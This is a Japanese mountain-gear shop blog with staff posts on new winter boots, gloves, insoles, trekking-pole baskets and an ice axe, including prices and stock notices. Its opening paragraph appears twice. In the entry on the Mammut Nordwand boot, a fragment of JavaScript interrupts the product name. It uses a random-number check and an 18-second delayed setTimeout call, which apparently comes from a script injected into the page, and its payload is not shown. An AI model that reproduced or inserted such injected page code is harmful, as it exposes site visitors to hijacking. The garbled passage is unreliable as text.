P社の話題のスクリュー、2度目の入荷です。ただ、いっぱい来たけど売れない・・・。
ご予約頂いた順に分配ですが、弾全然足りない。去年の土下座にはじまり、自信満々に予約取ったりした俺が悪いのか?。
あとに控える予約者の暴動寸前、既にご連絡したご予約済の方、至急ご連絡ください!!。
山の店デナリのスタッフが綴るブログです
P社の話題のスクリュー、2度目の入荷です。ただ、いっぱい来たけど売れない・・・。
ご予約頂いた順に分配ですが、弾全然足りない。去年の土下座にはじまり、自信満々に予約取ったりした俺が悪いのか?。
あとに控える予約者の暴動寸前、既にご連絡したご予約済の方、至急ご連絡ください!!。
おはようございます。一層寒くなって参りましたね。
新しいライナーグローブのご紹介です。
Black Diamond社のPower Weight Liner。
POLARTEC社のPowerdryと言う生地を使用しています。冬季のベースレイヤーなどで主力になっている素材で、汗の吸湿と速乾性に優れています。そのPowerdryにウールを混紡することで、汗の臭いを抑えているのが特徴です。
また、両手親指と人指し指の先端部は、スマートフォンなどのタッチパネルに対応している生地になっております。
インナー手袋は肌に直接付けるグローブ。今お使いのグローブはどんなものでしょう?
デナリさんの定番はコレです。人それぞれで、寒さの感じ方は違います。例えば上写真のインナー手袋を使っていて、「まだちょっと寒いなぁ。」と思っている人は、Power Weight Linerに変えてみることをオススメいたします。少しだけ生地ウェイト(厚み)をあげてみると、体感温度も変わってきます。
こんにちは。
Black Diamond社のトレッキングポール用バスケットに、NEWカラー登場です!。
中型のフリーライドバスケットには、ブラックに加えて レッドとイエロー
深雪用のパウダーバスケットには、グレーに加えてグリーン
という展開になっております。
展開色が少ない道具は、他の人と被りがちで
名前を書いたりシールを貼ったりしないと見分けがつきませんでした。
トレッキングポールもその類いだと思いますが、バスケットで色分けしてあげれば紛失も防ぐことができます。
どの色も、くっきりはっきりしたカラーです。
バスケット等のトレッキングポールに関するアクセサリー類も揃っております。
NETSHOPからもどうぞ!。
こんにちは。足冷たい人に朗報です!。
デナリさん御用達のインソール、ホシノ社「B+」の冬仕様製品のご紹介です。
こちらの「B+WH」は、足のアーチサポートに加えて「吸湿発熱素材」で暖かいというのがウリでございます。
こちらが、インソールの断面図。表生地と裏生地の間のグレー部分、これが「吸湿発熱素材」。
コットンやウールなども、基本的には汗などの水分を吸収すると、発熱する性質を持っているのですが
素材開発が進む現代では、そのような天然繊維よりも優れた合成繊維が存在しています。
このインソールに使用されているのも、その類いですね。
さっそくペラペラアプローチシューズに入れてみたのですが、想像以上にあったかいです!。
こりゃ、すごい。それに加えて、グリーンの表生地の妙なグリップ感。シューズの中で足がぶれません。
つまり、好印象。
こちら、社長のクランポン一体型シューズ。
ご覧の通り、インソール2枚重ねで寒さ対策です。なんせこのお靴はクランポンの止め金具がむき出しなのです。でも、せっかくの一体型、足裏感覚大事にしたいところです。
そういう時は、ベストチョイスなのです。
足の冷たさ、一枚で解決です!。これは特殊なケースですが、「冬靴が寒い、買い替えようかな・・・。」と思っているお客様、まずはこのインソール、入れてみましょう!。いかがでしょうか。
こんにちは。
この前チラッとご紹介させていただいた今冬注目の冬靴、La Sportiva社のNEPAL CUBE GTXのご紹介です。
ラストはNEPAL EVO GTXと同型で軽量化してきました。なので、NEPAL EVO GTXの進化形という言葉が妥当だと思います。
レザー主体の冬靴ですが、片足約890gという驚異的な軽さです。
NEPAL EVO GTXと、カタログスペック比でも両足270gの差がでています。(EUR42の場合です。)
軽量化が進めば
縦走登山でももちろん、バリエーションルートの登攀、アイスクライミングなどでの足さばきのしやすさが向上しますね。
軽量化のミソは、カーボンハニカムフットベッドが使用されている足底にあります。
ハニカム構造は、材料が少なくても強度が落ちない正六角形の集合体。さらに素材にカーボンを使用することで、軽量化が実現されているという訳です。
もちろん空気の層も必然的にできてくるので、保温性もあるのではないでしょうか。
在庫が無くなる前に、是非足を入れてみて下さい!。
手袋にお悩みの方、いっぱい居ます。なかなかイイのないモンねぇ~。
でも、難しくしてるのは実はユーザー自身だったりします。「何にでも使えるヤツ」なんて欲かくからロクな事にならない。目的ないお道具は、帯にも襷にもならない端布みたいなモンです。
先ずは「用途の確定」が重要。で、「○○に最も適した物はどれか?」で選べば、外すことはそーそーないでしょ。
で、本日ご紹介の商品はコチラ。MOUNTAIN EQUIPMET社 CASCADE XTRAFIT GLOVE
B社のアレと大変よく似てりますが、この手の先駆けはコチラ。お値段¥18,000+税でややお高いプライシングですが、防湿透湿素材にGTXのXtrafitブーティ、保温素材にPrimaloft Oneを使用しております。
で、「何処がイイの?」って話ですが、一言で言えば「操作性抜群!!」ということでしょーか。アックス握ってもストレスはないし、カラビナ外す時も指がもたつかない。
アイスクライミングは勿論、春先の残雪バリエーションルート、この握りとタッチを知ってしまうと、他のグローブ使うこと出来ません!!。
ただ、「操作性重視=寒さは我慢」的な感じは否めません。だからこそ、防水は勿論、透湿性に優れるGTXのXtrafitブーティで内部結露を押さえ、より温かいインサレーションが必要になる訳です。
お~お、お高いだけのことはアルぜ!!。
で、枕詞の様に付き添うのが、パンストみたいに薄いF社のフラッドラッシュ パワーメッシュグローブ。ぴちぴちサイズで突っ込んでも「スッ」って抜くためには絶対必需品、must item。
世に言う「インナーグローブ」の類いでは絶対出せない「生感」が堪らん、1枚入れても握力奪われることはありません!!。ただ、温かさゼロ、パワーメッシュグローブ単体はかなり使い道がない(笑)。
お高いので、ふんだんに在庫している訳ではございませんので、ARC(アーク)に飽きた方、さらなる抜けを求める方、お早めに確保して下さい。
また新作冬靴入荷だよ。
画像右側、ASOLO社 6B+ GV「(6B+ GV @45,000+税)。
画像左側、MAMMUT社 Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and High GTX(ノードヴァンド ハイ GTX @83,000+税)でございます。
6B+ GVはこの春から既にリリースされていますが、デナリさんに在庫として並ぶのはこの冬から。このご時世、この価格は驚きですね。
シャンクがマイルドな味付けなので、デナリさんでの展開は女性モデルのみとなります。歩き系の人には◎、つま先系の人には〇かな?。
で、「ノードヴァンド」ですが、今シーズンから「TL」ではなくなり、「High GTX」に。字数が増えたGTXモデルにスペックアップで、お値段もスペックアップになります。
中もゴア、外もシームされたゴアでしょう。素材スペック的にはS社のBATURA 2.0 GTX(バツーラ 2.0 GTX)と並ぶところ。
履いてみたい人は自分のサイズがあるうちにチェックだ!!。
おはようございます!。
またまた入荷情報でございます。
CAMP社の新製品、「ALPINA」でございます。
シャフト長は50cmから、重量は470gと軽量です。
それでいてピック・シャフトともに強度はTというところがポイント。(TechnicalのT/強強度)
価格も@19,980(税込)とお手頃です。
他メーカーの主力商品と比べてもまったく遜色のないスペックです。
冬季縦走から、バリエーションルートの登攀まで、幅広く使用することができます。
そして丈夫なシャフトとピックを兼ね備えているので、きっと長く使うことができる一品でございます。
いかがでしょう?。
新作冬靴入荷だよ。
画像右側、GARMONT社 ICON PLUS「(アイコン プラス@58,000+税)。
画像左側、LA SPORTIVA社 NEPAL CUBE GTX(ネパール キューブ GTX @85,000+税)でございます。
スペック等、詳細についてはまた後日のネタにしますが、一つ言えることは、「今シーズンの冬靴は高い!!」、誰だ、円安を煽ったバカはっ!!。
お高いお買い物です!、色々履き比べてご自身の「ベスト バイ!」を探して下さい。ちなみに、在庫も非常に薄いのでご注意下さい。